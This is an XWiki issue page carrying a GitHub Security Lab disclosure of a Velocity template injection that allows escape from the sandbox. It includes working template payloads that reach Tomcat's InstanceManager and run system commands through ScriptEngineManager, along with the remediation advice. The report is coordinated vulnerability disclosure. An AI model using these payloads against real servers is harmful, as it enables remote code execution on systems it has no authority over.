Uploaded image for project: 'XWiki Platform'
  1. XWiki Platform
  2. XWIKI-17141

Server-Side Template Injection (Velocity)

    Details

    • Tests:
      Unit
    • Difficulty:
      Unknown
    • Documentation:
      N/A
    • Documentation in Release Notes:
      N/A
    • Similar issues:

      Description

      GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-046

      The GitHub Security Lab team has identified potential security vulnerabilities in XWiki.

      We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

      If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include your GHSL-2020-046).

      If you are NOT the correct point of contact for this report, please let us know!

      Summary

      A user with privileges to edit wiki content may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running XWiki.

      Product

      XWiki

      Tested Version

      XWiki 12.1

      Details

      Server-Side Template Injection (Velocity)

      Even though XWiki does a good job installing the Velocity SecureUberspector to sandbox the User macro templates, it stills exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.

      Deep inspection of the exposed objects' object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects. In particular, it exposes the Servlet Context through $request.getServletContext()

      We can then list all Servlet Context attributes with:

      <ul>
      #foreach( $attr in $request.getServletContext().getAttributeNames() )
      <li>$attr</li>
      #end
      </ul>

      On a Tomcat server (used in official XWiki Docker image), we get:

      javax.servlet.context.tempdir
      org.apache.catalina.resources
      org.apache.struts.action.REQUEST_PROCESSOR
      org.apache.tomcat.InstanceManager
      org.apache.catalina.jsp_classpath
      org.apache.struts.action.MODULE
      org.apache.struts.action.PLUG_INS
      org.restlet.ext.servlet.ServerServlet.component.RestletServlet
      org.apache.tomcat.JarScanner
      org.xwiki.component.manager.ComponentManager
      javax.servlet.context.orderedLibs
      org.apache.struts.globals.MODULE_PREFIXES
      org.apache.struts.action.SERVLET_MAPPING
      org.restlet.ext.servlet.ServerServlet.application.RestletServlet
      org.apache.struts.action.ACTION_SERVLET
      xwiki
      org.restlet.ext.servlet.ServerServlet.server.RestletServlet

      The most interesting one is org.apache.tomcat.InstanceManager which enables us to instantiate arbitrary objects. Note that this class is available on e.g. Jetty as well and similar classes are available on other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage.

      An attacker can access an Instance manager with any of the options below (probably more):

      ${request.servletContext.getAttribute('org.apache.tomcat.InstanceManager')}
      ${request.servletContext.getAttribute('org.apache.catalina.resources').getContext().getInstanceManager()}

      Once an attacker gets access to an Instance Manager, they can use it to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution, effectively bypassing the sandbox. Probably the most common one is to instantiate a ScriptEngineManager:

      <p>$request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')")</p>

      Impact

      This issue may lead to Remote Code Execution.

      Remediation

      Limit the objects that are available through the Templating API. In particular most Servlet Context attributes should not be exposed to content creators.

      GitHub Security Advisories

      We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

      Credit

      This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).

      Disclosure Policy

      This report is subject to a 90 day coordinated disclosure policy.

      The disclosure deadline for the findings outlined in this report is: June 16, 2020

        Attachments

          Issue Links

            Activity

              People

              • Assignee:
                tmortagne Thomas Mortagne
                Reporter:
                pwntester Alvaro
              • Votes:
                0 Vote for this issue
                Watchers:
                4 Start watching this issue

                Dates

                • Created:
                  Updated:
                  Resolved:
                  Date of First Response: